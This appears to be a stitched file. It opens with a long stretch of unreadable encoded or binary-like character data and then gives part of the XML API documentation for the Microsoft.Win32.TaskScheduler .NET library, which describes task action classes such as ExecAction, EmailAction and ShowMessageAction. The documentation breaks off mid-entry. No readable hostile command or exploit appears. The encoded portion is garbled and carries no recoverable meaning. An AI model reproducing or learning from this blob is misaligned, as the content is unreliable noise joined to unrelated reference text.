z;=jN5HnvYmxfz1*ZoT{9&|dcb_9^{?WSw%_J^*dklHL9Hs#O^OT?oz45DPuJee|Fv ze)}lQZu_Wlx$UEbkO7o1w*9yb8!l-v6ofsRb9G}I>bKf&MK*r|kQz3BqRKXZvTvxL zzeo9J^kVx7f$#h}VgcNODLy)+ykpy+1y`O@0k7~`)H@wHP~3+sifsL={%-%7{gr?XyBM*^L-zM) zjLmJ0ZNs&HJjA9#eqYkI-1_mzu=d#76$-wM0Rx)={~4x#OVPW(p_0%sdboYws60!$ z+OHhjjZX}*#^-4hn!n9NFcsTh8Qs1#)}X7t0k+8(RK!Yrg|+w0aer)^$hN&|2)2cs zH*$n|w19Qr_$fU+BJ#EU`Usr9Z=`?kfH8Y${r;iBM~03Lj%~ksWH{{UdjzQz-Yn^q zF2a$IJOZk0{Yh%I?2}`mYs%8iP42w=ZS`~WM-WJccAWp9O$_0Usv$FwsB_s0MoPq6(JYzuQ6)3%jT zhLs}I&Dh=F)&6I~Jz$WdLxXX<9;MgF91GM-9Ym*(39;S zpq~HgFhe*tcIV&oAEWF$I*=K?>~hBO-^Fs1IgZn4GpLD&ybCpF6CvU!X~;NHh5ly~ z`qRTxj{ao0bM~OA#&>@Vk!Ihrt;DO)*?+9S=&`-*fWG1W(L4J_?;ISxGuQ<=Y%4pu z{e<}N=-r=y>c0MeZ$EcN`2i0UV~C?HSST>979*!{vC}M&G2_r(Vge%41ZCBK`b$0 zSedFhf~@oQ$9&zkS4ZDo8{7VqvF(2~w*9Ziwtp+G=k}`15=Jb=B2neF5w#cp-l*F< z@JI1;K%$sTAV_2K8(0bXa~`<;2WnA>$sGRb*tV%p+fpZD{85?tMz_CdwQoxv`2#gV z=>lM_?VM*(0kxZMuU?2UIFK(RPV3DKuWT z0ki~NRMWKe_=u*R>9FSWc(;%KtoFgvV|N;3+s}_}e;V<8`}q+U(ckVfJbGIv4+g!{ z06->_h_|0Nk$U^nwyeJeqOe|LZ||eKdj;D1tszsiFmD+(G)ZCmzaJUe%RIa~cBjc6 zo$R+3O#bW}ef!}4fJp-*!swkh55oLLyddMC!qM$boBB?Do#|?zHrDk3Bu?u7J!_CGi=NhY?M@ zXfSF*49UeCjHsxnfRdos7*vvQquh`{d|mF9g!}nc{krF|FEnfJAGy6d=U2a~Q&p!< zojO%@>im8`^{1)$o;K`^+HZjligzVi;@Y0+x~Bg_Cc`0OYPoBVZk^-gPWr z*0`Hvvrf_`3fqq+e~E>(wW3zIIA|KPxcR8ZyNcx{xmDAl-U8!$rD6Z{I`*t+FKI)M zuCDSzUS#HZ$`Ig6y}fx5W!UZ#%zWF`(k*2^Cf;=Q&XiahiRDwfyzV+_mQBqvrUux} z$k=6OUBrrcp_Pet7d=fcG&b;NT}o-%O!qf+Q)A%HZ5BCmS*xd5_#JBKsYB#(_0$;A z25pOh+gK>BBh_mF0W6u%n3wnyNrHj>AtYv?q z&EWLcF}ZcMSgkhm2I(JJZ7>FnnjPYFNxYaYSsUlD$|Gl!K|3#tFDs8s?hO$0_X!tDZHf#m|N0v!TcY;~=` znBE{B>z7E}({ZM$mN8Rm1{ye~k!ol^D>lwCv>fXlHB#FzvT4mINw?6_Q+j4@QX)ob z{lB)qx4;!^T(eNATp6!zGeOll{-YjaG3=c=Y%GSP5hBf)5h+n~DN7?;w#JzeSp_D) z(>ryGY@}1SC_I}s@F?vo+V)5mZ@TX!-CS|l{1vG{8x zBg?%WADX#$ zHp{feE{f@^Tc;V=TcM8_M7(FVj)Ljy?3o?2;Wk~E`uZdj9a6HGnH20_<@37y@WM5Q zjP^ozU<_Hy+Ep9;+56C#o#+cT>P5|UvIpG17S7Yne+`Ky>I`G8kd^v=b@pE?U<`C* zH3m9c#PUE(i_8|?XLwdEM}TZB77RP0i)dO^+B4llWmbu>pKf`Dsm<;@7wtb);k`{f z8K|^X)#iWNgWA8B9=$iz-D*x5&tSFHECSU6CJdz&3V0MC4>6uImMvf2s?5sWZ5C8U zXWQ({iJ*xp$>`5#dgm?`Kc{=NgP!i`nf4nS$_7lbh4h&5)#b0VcSeJvag|2eXOx)G7A;6t?8YQ+uWk<93k7eW*wVvN zrkU7lSot>Zy|3GIbI&)HZ}L8J!c8YPV1!O+=`P) zdkcX3D|V)Ws1(P;zfYaD?3&;I#0_t}{OxyN{Q27+*>H2D@ci@HJ+~ct``c~wq^a`bX!)g{lb zvz&8*H}LPoUqHVJ@2In!wQ_-zo0;6xcAS-Z z07zbBzs_^#uRQiwj9a_KndJg21Xc>H66g|GEzl#-E3igjt-vV)rwY76pikg5fmaHg zF3>NqPT&lIGX-8HaF)QU0k2>DS+8+etoDgndY(vbde(_f9-{JN9pGNjkb8C=2jO5~sByz&D_r z)-i!M2-E~{r*vBD0uut)3-ED8r-z4-0%*;41=O6?jD8Q31aPuu&i&5EKXrgasl3 zQGu91Tp%Hk6xby2D*_h^yjI{Mf!7Ia7Dx+Z1hN7-fxN)Q0$T*O3jC_TB?8+7-X-vE zf!`K*kHD=0?-jUB;C6vK1nw009f9`?Jb>b8{j|Ve2z*B1L4nT-d`{r=0uKp%LEwu5 zUlMp&;L8GE5%{XWBLa^KJSOmOsF5p=d^m3Lh(G?@c8~Q&(w5y$%lS_0OP(_sJDy&r z^%e)Ax)}>m}?h9=1;o3&|Gd_HL&IN5aic%gs*9B=vbnq1G11 z+w#)t7N~R9K#4~H7bSGFK&wET0Ip6basjVE=bF~Z*5v{#1Xc>H66g|GEzm8{BhV|b zMqsVLDFUYoKnC?19xxxY!W4iH@RGAyJOe9-~5CZqtdL98tnc6hqnSAfg z!{hbh=)lh6&_u0NKRmFbSQ{;kkC&>I@n+a{|7gKx*gzH({klH%dP>UG7+Yxf1h z`=k5g`-8#ZXrK@-On%TaxNGuVKOb%Ra^b))m#j8bF+K_VJg0bCJf|)@|I}8`X?Pj= zJ^h~3Th^`gT;OS6c77`kgdDcC`EH{RdAmcuF3yip}b1Bg91C6c(*FsgU#D}b^DOO!vc>8 zd|luPfo};sDF78cQxxAb^#hg1VCiY46l^ufQ;1>REy31%9l!1YkO=(Af$dR!FUx-azBb znTDK!dS_oy>P?idIInwM-oVibD5f1Zx=lB47r0X(An*l&FAF>>uGzx`Zs!aSwzT1G zXUW*6$_E8R?&LFonX8rWF2I!HFjNB`0A=Rm3LSE*ZBeEhiJ88yrM+D@b%8?ylZqY_ zwy2o_t7lq0G6O?7ofUYO0A2=|=Xz%D5O}}9?+V;4aF23|eKSuBKu^z{2%QsovtA<% zpJnC$32rApOu}rpz*>Pmfqns>z}W)p1tJ0)1hxol6WA+2OM7NV1ZY6-?2X24&$_ee ze$p5wpvmkGPVq| zPoL5b3ho{X_mFwoFRGqw)K6#k&OW7T%~p9#x6cD+?gLEE>GnmJGhPgJ>%5BIEbv4# zQ&tEx7-s&8o17FYar6*NdPvG#N9!VW_Ix!l;y3fX8vN@+wJ zVzEh5jcUWb#;&ukUkBCQechd^N!Ko~_1VRX6RJ7WkzXwqj>!+(%O7_*oW%D|eu`Tz zpJ>DU(IXE!PfwjKI$`DtY(hM%z?*Dj9O;>Sp^fn53+863RX0;?n%ZT=Yw7Np-P|ca z)eEEg`d~pzS9jkkwR|?qDDUR7*5WYw`-owzD-s_u41=ri;xULmEQm4+xAd)a+Bs$D zqA4WwI-FF9^zU@b^w14bkD}zR)Qpj38-}AluvNEELASE5WU;4ki*D2veP9H-y)dt( zk0@4AeK=fuVP0R4(`l|0PX)7Ey81BNn!%=fik$B5>uIb&1LE|!`l&KoEu|qCKj8boDwk{>tf8j zh}P7YWD9L1uRb@x1a4z+v$eD!DW-Juh=VPFDxdaZ$%Il)bO=anJIIGgY{c~cR8Hqv za&tvORFT)7u^VSS+*?T##7*iBL#=FrU|&w-)?wx06ko2cbUx0ooB_}s9IL9N8!1c& zno~F0qD(b%^prf!+ER2;ouY(t)MTLXi0;hQ@Mm9sDA>BGkOJ_=!8GD=v z8E;99d957Ys}%1lgKd@K)YvNDGE_|C4x?i;+$qNh>3Rl%e4z1ZBy8Lzqz7?5Wd$bE z;52gDr9(wd+v@gmNKIi)WO#HdH#FH^W(HR}WWUv&Q7qmLbD84AkV?_|E?eY#XbgAY zH|bF^6mU(uPeY5=n>OA`8^N{H6hS#r%3`-t$&J}-m2J~})leu~99{RI;Wk&(6F_(` zr9lUL+{nPkku_DweJ5L$K4bZtXUDzPo58T=UQ;9ou53j(h}tL^H_FzJQm_B5LxOr{L~cPC~pM|XET*CSNCD~ z!CZeNN#}AFV<vlo4v+tzn4|DxjmavA@36VzY|P)>?a)>I4`Wzu`1V| zsc(7l8Z|{u?{$Ue>6JRHe$mp{Vx(v0e#OawPIR~E^s8~h0G8kxtFY9c@#w;DP82_4 zpbmO^r@IYYEB!H@>YdI}nepwD_1F|R%{eLm$5glt%R!o6HY*KEM&qag4N+|Rs7Ud# z(9hwK2mlXnr)ft+g>3>oC|5lxBy+68#oRohwz6L_)T}g7Pui#_DPK+-27^5YvGOq! zQ@jK$k}fTZCU%{!?tr!k4LtTELT6Rq>66PuslQvrLDyc@i`SXxde|2Eux_T!X)+g+ z{;YvNCY=Kcr2xH<$HDpiU5rP#e}51DJ>mc{UCe_D5M|vCrpryaN|3vE>V*cK1Qjt8 z={NdTzG@BB>BCm=aCAAF4U$NhJ`6HU)dh+0+6%r$u2Ox`Cf~#uB;W>|1%NP!D9R>QwV zk0($NDa+k?mCf67k!6dwy43CfRnnZa0{cSSq(@aO=TsNkMTBt<;PxAC^j|l+1+OEq zTl1mVt(r|STMU$(!6tbDD+RsK2u-67aE!@{LZ4anaKj+EQ$;kRre3sBQ!nCPCbfc! zFluByy>8~_7b&1y+L{1+e}PAk0Oo`jIl6D98{E*sM7Ja!8+J7*+QhA#n$XuGqET~q z0|$;8Mcg~H&9+nmCrmDCo*8tyHU!Y5;6`PHd0HM?n(_K!5U#(dofc0!icVvL5j5B{ zgIA>yR0UxlaSKyVG1X7Khyry9kt%iQvb}43Y^eTqvDccV?P`13EsU9-MHr`8vV{Tl zyU~0wmm(FIK8LU&;he^zti_cggvgHK8S}gbQV0p=)Rw7?yvQ2?^Du^Y1#@^0%RDdJ zvmU373UYSCW@1)D6TQR?#D6-nF`O$X#eBGqYVSJ%vuf%F-ppjc9)u=LPj9MbCG+3YmEX6gjkv zb*;9Ga)N9}fudU(go{>5&rv3oOM>4Hfv}6!0;|JLt@M(>H_y!@-a;r zMra9Z=R^f&-bD_>RUCpIFmsOr#5cl+4j&fLic5|(iaw*>>cwSP8* zKEQn5zCz;W`g*a6fx}h>b}=h-v+C=%w-Q3uoS1NWa0QcG)>Q}>bK|!8khz((DU(tY zOb&mbjH$9PQZqV>Evt%VWyDPzynQ+8@Jdlv3YB(*Zjqi1e0 z>`%B{nVPe)b0#)I{RG@)J#JFw)?L=)K4os@nwIIV5Dy6bmBX8k@r=BlGb>vt9a z^j{;TInt?!rMs|ic2ld`rb#3txcaI&kJVpwq=GJj^n zNutl}*=E)o6iGXAWQnmk)26&Fw%BdzC$uEn9M$5pv1fa`P~zNmdHZ?j z@{xY2dv2-UjWD?e?emT^*-ou>c@)r+VJ5YiwT2iwMb4DfJ2MEgrRrgmb{|6-eSnV1 zA@6R88;PFQHRj4ala7~`c6YKc^iUNgJ-`zw+;lLcIt<|t*vrEmi}=&Qww%E;%Rp)I zbabe|?v8Hjd}Wr_GjG#4=79z`$uNpVlX3|{NFNo#@tKdCIPICB?P1|#5;YU=jOFOl zmUmCIo3=j5NHl?OF=$QTX-1Xp2eX))d8*6TCgs_fCEX(14R3y6)!eg<%#) znRdu9OfHW7bYKK-eu?j~0OTbfX9Yb&aQ) zyJ$BO{wj)*Lm2-}Qzk!wC}WS&%1M6N>oNLjaChR@wSkRvC;Aa}gY8$ULx!SmO#&t$ zr(;4g-7u2ekQQ9nf(_i#<7<_Fm>yGgEiD@I#Ar!Hcj_mN&5maFkOJm8A&NCm49!YQ zl641?V#J#*@2zScj|a{SN{!f^G+2!7dxgw}b^!UW7BLels2-WRpH&%4L_^?|RWC1? zt|9@}Ov`zd%Vxz*KVfg4SfN3j!V7pNrvV0QQ_Gz;CTq>DEj=s}k#93I+ez9Kcqy1I zxHWNuQ542A@!1vLm>DN2Jw!x-jhkC^vl?NVN!g8s?&$^88d0XjFEVp-4rThBgPMg9QD0@c8*AbV!Tlm*$KD*T9nqOz9_s^D6n_KJc} zn3$C&{3JB>u-{V@i!mU(I3YbO$i7W6&l>n+L;ef4)Whb6t&>{zVwZ?+?2gF6?g+@^ zHY#I-nre=n8iD0abkjQaM~##=lP^GHmz&U?g4h9oY%^5mqszRQyTv23bue*T3|uc- zSVh~5;pX&Uo0mL$4J-?qHfo)zvhD+-OQ@~ggz5$!GH_B|skTbtsbJfEO!B6%uanZt z)U1@J3`>~uh??19U{(ptXyy_z62Zi#^cxM_Yha%sQ<-qLSlmHdmT4=qk8+ev`XQU} zlxm;3OK|E{u%e4UBNwO}Xr0~C4%sLdamZ>0MKjbXY0C7<%>4>aO9&V(COp<*`RVm~ z+(Ym)?SS@IdJsxGXoAsn&|Av9S$} zbM5QH130@3cCF3V3Zun?)!KF0()d`paQHHAS1E^2S$v?K;&Hk!F4eb8>?3M)bfUr; zJMSs=IHzW+V~1;{10!|c=RWES1p*;|C=lX>Qj`DUaVGz9N3D8&X}CD_CX zuP{Dd9Nkww>^lh6W5t?pf3@bTj}(2ufq<`28TN6~?z`TeypQ{;`+b9j@#}m$henFS z6J>)w0aB^rE0oK=OG`tw>Ued3-B+ckLY*pnI1wqj*bZp1dX$Rlk9>`CtBC0m?$F-sya`nfk&JSP8~p8C_{k~$!X7{0Plo+xIj<#KUI zEx+JG>)7C*j~e%1T&xspr6K=TkwTa3D;JN4hU5F*2vr-rvAF0+axG+;I(%~v5#0$yr#Y+D|#avMwhZwaD;>F(6fP;q=bQ?1l%)v{3zL^g=b7RQHbr7^g_ zb9lI%uhvFgs>dPw7pZXP(JCbJWmTB+I2WFPPiV;l#o7fIq7zNCYG`U)jtrCF(V)k< zjM_{Op%jYsl2I?sJ|8aC7f=mzv@rFhWDK|wu>o}ACKqfoCGYZchwFbDKFEqhJC z4t-*z2TV+BBf!Gj#+a*ewKrlqOrYR#cDrs&4Ns}96)LHY?JU-=FVUU>=7mQ0S8IDi z7hHJJ(4IZ+gpw(v_CtFD7hHIue@LVEz@9w~Eii-sNNWYiEoZVfPa`^)R13|*5u zG*(0Sr04RbVp+=Xf(s86>wAp8vXad}UE^`OwiOHG^&Pd+^`&z0K+$nDS#DuUL^Y(Y zFO zgv7w1qn8mh1>h^Y>4*Zt3kwM1e0MZH1!E#$yT|#}Uo^j6ChVIim4|)7cp$9u&hqyEcxPgs($xugoC`E({<@hk3Pbf&rBbb%McVq; zy!Ij=%c%Nm&bziTd77O4hF>bw6hYuY6M!VC%cGF=3cKiDy|pq_o)|7}t!Ox5w#7nYHQo$*(5jadw@5g82h2Xckw@8g>HZ(STjS6KC4WdQS8B_>L<6 z#E0#=oQDo}U2x*O+o}gxNE{x6v-%xFJ{@(il;p{0%vz7LnswQgK|2!i%z|cJx|}Jo zGE^EXluv$dc#6!iR}>F0!D-u9t!%CAub%X#d9Gzg$C^z0%3neodfEQvt}j;VR}_b; zwPB_dX9X)SyLNUsQIifj&*Pk(2q&}gcr4_P217xABoIjYlc8|LAIS%@!DKkeHDWPy zsaz(WO62{acq-tJWV0E6A{LMOgOPYBmI?$@;Y7-Dc(7$)erIkL*^Rxyl6iF8uI`u= zdGKYI|HRTbXji$CM=4Op8AduX>|QFvg_@gq()&rfpyl)H-;-Xxhv#|{$8Y<5?e6NE zNr>efOJv896uC`5`BG#AB%R7dBgtgkA4#MUkW4z~PbOnge>RrRg<|1cI+t<9nWHPyYJ{C--ttf?3$xJw!P5HCoCTYV9Xy02P6JeAQSQjGT~SvoKGgR5w`6b z9N9=T9SFwaei|I6MY+5`&4};^;^9yx6;I_uQFd3tjAX*uSSXUEv9Yv2l1zocOvn9! zWF{TXWW$Ui-e7J9TqK%=o}fPvP?_OK$j_k4`U8nXK9$Y~X*`>KQ+qTV&xX1ZhD&ty~TWm*?w5Ub2&JQIoL@=B_e*hgSLkva6XWZ(ZF0XAB)8D!L%zO*<>Oc4d$Z$Ofn6f$ymyd zBn17zL^2Tw#e$i9!0pXYB#{gzQ#pSwOmUG^EbC9Ca%q1qkPQc8(M&QB$+>i95;0g7 z@Mm*5aVZ;w^KqDpY~(`_9}9xn$rQ!t8L@d1u~;ac6A8!>vI5gmk!;eR%7nwIcqkvr z%KjrRM1rwwA{`I=GwBG@pGyU4TQuWOrgOEES8#f|0a8mIy%)wE0u?u|G!Ja*2G9 zM!I7x9*tyE@gQ9nPQdF3Iz5?%8_{F}lJco=EaFOeG!V@tbFqX!l}{x7kyx5gIFR>8 zW5HM`l?Z2{*Vdkorr`%eHX5euBKdgSpH480^9=KFG?vfi(rz0QnS3e}U;;`75=<+Z zAho9$!KqX{6QZ6#Hs6rlWH5mw#F%y%ypd2i&v=l4hT{~Oie?i*m&55uE}wwABxR6^ znEE#wi1>5)STYAOsI07|Gn@>B69HNjN=MKIDF&j11BRz#`9v&{4TWgCq(>`m%j>~H zjm^5k2=XGFk5RcdVEcPWyrOBEVkwv6Njyd zlH%c5GLIZEj3SvlQkG@7$HTc;FdB)X320fnogXCzs1_t9nDvJk_+&^hYsVQV(#L4J zT#$j_HX?&yqp19`T#haq3Pk-3a};Pco{guH3FIK@5|PR#vwghCH24*&h zR!w9xsc48#G^qAe4B5}85>lX2BH6S*6+wd{s2Ysm35C3 zJAqIH8$yxM3Q8+sb6jCL?A8JS$E!ts;bJlrj)%$9$tPHfUAdT^MP$&u$18jR8EF2O zi5WOPCPt=k!+cmAuTIotFdVE_%RHQkZI^?g!&)&8V@)@SY1w0nHE%FJ5YRu4lkQ@V ze!E)+`|Po5g@yB_)!|~9XEw*!b<4`Oec$V`kv5lJ&BrL0WKdlTkgojqKIduH>TJI_ zlmTkhE<42vEq}F&=lNT^E9+X-G`dJrwUmZA!dpRHVQ6HO=8VhUuwc{gc|AH!`>DNd z!(o;=uxjwqKD2sL3^qK!zG4e!3dNc+cb;J5De{{KH;!|o#~E{Jx~y0qxD*qG0qg*) zdK|ae5slP^BnMvJ!?i<0@qNMY{{2J4q2b}-Xt4bKyWoZZ~JCUROAnv^Z1P=QdJy`<)0~vt6!H zd||VG!DoiOfxxCiB%xRa7at6Cr zpCX1SZ>`mH(k5OI>KcJ8Iz@k6-u#^PjDQ!=9y-FEE}S zwTgk`S21sTwKe?uku}VlPmfx`dB?B7*j;Ve?B|zKzam|&)*H5uMJn87{|QQ8kR7|p z($be2P>xFf304G4Y%oV_!&WTU|Bf~+$c{Z`X&Y8rJEdzLIvR^kU|e08|7g@pC;vOB zUy%JAP2+<{PS%56UY*5jG_`EaVxB$0B&n5P(>mLVhYouad~u@37c}K^kBH4%C3cpE zRbxlCxWB+Tl(F8OfK@7j8EISb`eJ$6wq2~=ZG zSi}@ut?o{yzl5rnah7V9S-s}OZfCtvt8cGlId0K<;6G?83x*nVXK9|_zr?kIhrP*W zkMr{%Fm!G`P{C{Evf@GJI$kX_`DV9+vZVqk`6MM4NQJB+Q@u50=qlLphPLai~Lc^DX{`T#k(3^m$yNvS(n_0&xdz=G5SEX97 z{i2nf*i5xRMlNvGZgb1)I2>kfbX`;${FWS+OZ#etn)p({S#qR0fmehpD70{LW?rlP z5@(Uqll=U_kUtz8423sEll&i096!4$LNggZILG0gY;9&AdV;A~yk4+hHOFj5BiK=$ z!kx5MqpRV89Y;8=@^IA@nQbu5n z64*fLrJ)huP@&?Rz=5;$M(V=`GE}Gyk8d!8d|}O^->yX+2N&KAIWzY04>QMzlI(&l z+x4y0z(747C{>E|=drIm_ZQkXznj0ZtNa_*m+^r{=n7*H*x(x-r(}dg1__nkEuJhGH&s=-uv(I1him&|Ww1b!bHl>8e8Hw4Z(E!rwf!=AxbFe<1a}$Gg%W`@L-D!S{Y6|J<9uc<~>6 z_3>Xlx@t+45PiyCX{?-!rEOp#Tcs;azpT9>} z5l-<^Oud;@?<;M5gW0}ybcM?=%c-t`XC z952_@=gZ5^*`S_(bX0v%`yekUwVwhnI0p!EOy&5FM%lt5E(U3BmJcX5zGxBXuZBvUUT-qA${WffFYA99>Uj*5S8k(-aUzaPew^e!eZTq| zCuLsedMUXYUm1Tw#a~KqlnoJMT#KO1ck;ONx1jizqAYINxbriR&f3WvRgdh6g{7S; zc^ZUry(TqlI8ksb-(h$qMwU$b%6cZkIjezeStVX)O-l=W1YWcbYrW~5aU|O1lv^}^ z!;aod+J7X<6(H!FmXs8Y81hTQx=`-G`lT zg1DruIrB$yVm7n3;SSxK-yl!b#N)ci&3n~3Oeruk>RwkEXni%8ZMDp*snoH z@2+JyEkzz9gF3$<0RIED4JSsM@6T1t8;Qjkq=d!||D|c9g)7`u4TJ2RUa2i5vyRLc zz5L8}><^g&8%1oQh}iLp5KBgl#1>sz8dxC~j>(S~yNCBba6|k5Sl7k_X#qB2| zd2u#rn6jJoz7y5h&@+pR_$#t4k=Q{xeH7LN%_?JwNH*s7hHCm5`IiV!17)Ft;!`0@ z6-)zdUQNB?*hur^`wWndK~rO>U2yDj<_BB^q$PvDLDAwd^*RvGU)+^PN3?@aE3AQ| zqaSMsUQU)xN6)gjv*zcz3^S^hRa()Ek^LAPX>{cjD97lft0ydT2gD`1ppm3<8jFHP+_>`vGOWF-xty9$c#(utm5@j3^mg@;W+ls5TQ-yQ+WC4j zX*o%KHkYOb%^vgl_yDx6Yn##a^SMrId1j-wL5eC-Yx-RA)* zUuOHIzN$F`_pCN1P~tFW9N_s*PnW#MIbZS>{c<7q^tjLFfP$O4T(do$H-vBU-4NKc z<0elhyI2eX!-d11jvIoCy~*Pl@bIizk;r<{98}dYBa-{!Ipr*iEIYDgk3?lSsv}I$!1r;UHf{<8y=vZ0QCf^$M5lM@T{;DjPmr?h^Mdd z2!_ePOPzf@)y8gi*mGJl#U*1tX_<&_PfhS(T+QR9xyC%`X}^4;I6=-f?QUrvmhuW4 zdQZo$%5|0M!HUOQs2nzCGfz(na?SIkmgSH=fX+@WX%PIK#MGPYocpyN zO#_}a+v!{r;rDUwu*np%3X`qzsj#zR5GN5Z6dgXw!Zegqwp85jz6^Y(s>R5g95V zV#qw5iCM4a8|5Kg>@dTgb5r|`dDKclYSkIBIk%Xn9M20UFfkdA2HpAK8h6T3|_ zCoRCH1Hyo3T{CgGgptFVU5x?PB=?i7M=23_HxXa+X67^IQ;(WkHS4izB;GvB2Nl=3 z{IoSMOq{4JN?v2^wwM<62wI~PB#&0uh_k$2PLvr@N0H68ECc`jo>eZ|F?Ag;ydg+NLUh@0# z8hYu?Z*E3z-@d(x^W1aKk;Sd$x#wPt$A!%Q?(V;N-}^rEna_Ohd*8DN_uO;O>8GC# zNz?+Qv}Z28)MEZL947E=Gy}iBXop+u^Zf1GQTi&u`$Bw)1 zy31v*xo}J5$3FJ4g~&Gi{PWL$`qQ6&?6JodCVlBkUm|j03}HCH?<;@Y;@o}zb7wyO zhaW!g@$a4T#mBFC!#A!t)XHfpYF`vf6Wb_dDM*CPoDnf#~jb4 zJ2W`o!{0+2+nk5AxN?7Nvw4w>c)YION-H--f|sAJy^Q=B%aR@@env>D+D> zW4o`gXGFUz#X45>B5%Fmg&Mn$?*uS5ywBOWB^8Rs9G9x^u6L=T<(GZ1Z{PPnbjCMd z`L%z%@w|`Fy2kH8g?){?#n(?Rz~lL>OtqFRm+{oAIL5kPEDj8p@uoAsm(HP-Zn;6U z@)&A^SHq;qT6lmzo{wc!?ywhg*yA~@bFl^U$AL1oQipZ67!5j{O9=b zU>Xf&4w+osUh^~;=BFd$g|~&jt2ehfx6OAZVcCPP#5%eMn8Uuilh18!=fhijxL(Gt zWV^CDpKg8b-{f_=(s-Y?G_S8Ssl4Bw>w-zl#AbmWN|n({yBk@7^eHbHdG$Nn)><7&$nm5Py>M&=P&Qx6k!(9k)C30B5RpKGf2nVpw%1o+Bb|hLLd9-YDIg{CtKkQKT=9`Pf@7{T`P} zv{YICX;-ZF$X;(hKc-ss{W9JA*zu{Q!`vSv#^)rR1ho3-8>NcUQLxKg_w#2tr2VB@ zsa@l+$$!Avz`f2C4nVPNYpQ)Q_NZx*3~1JV?lV@(#oVxmBaQYoXtDm#4Fo9 zO=*=OUf)BL?2UnA`%rjC_QHV6SNk=*M(-Zkx7fv;&INT`NgeYXQQ4B5pn+C~6gTXg zMIMbF@mOEp6Hn$__lwgrK-rQkjf+#MV;kkGFUy8QWAMcqM)j3A<|_ETIL_yM6mHrt zzlAu1Qz+!{m7BrN4Cb1OsMnR`S + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation 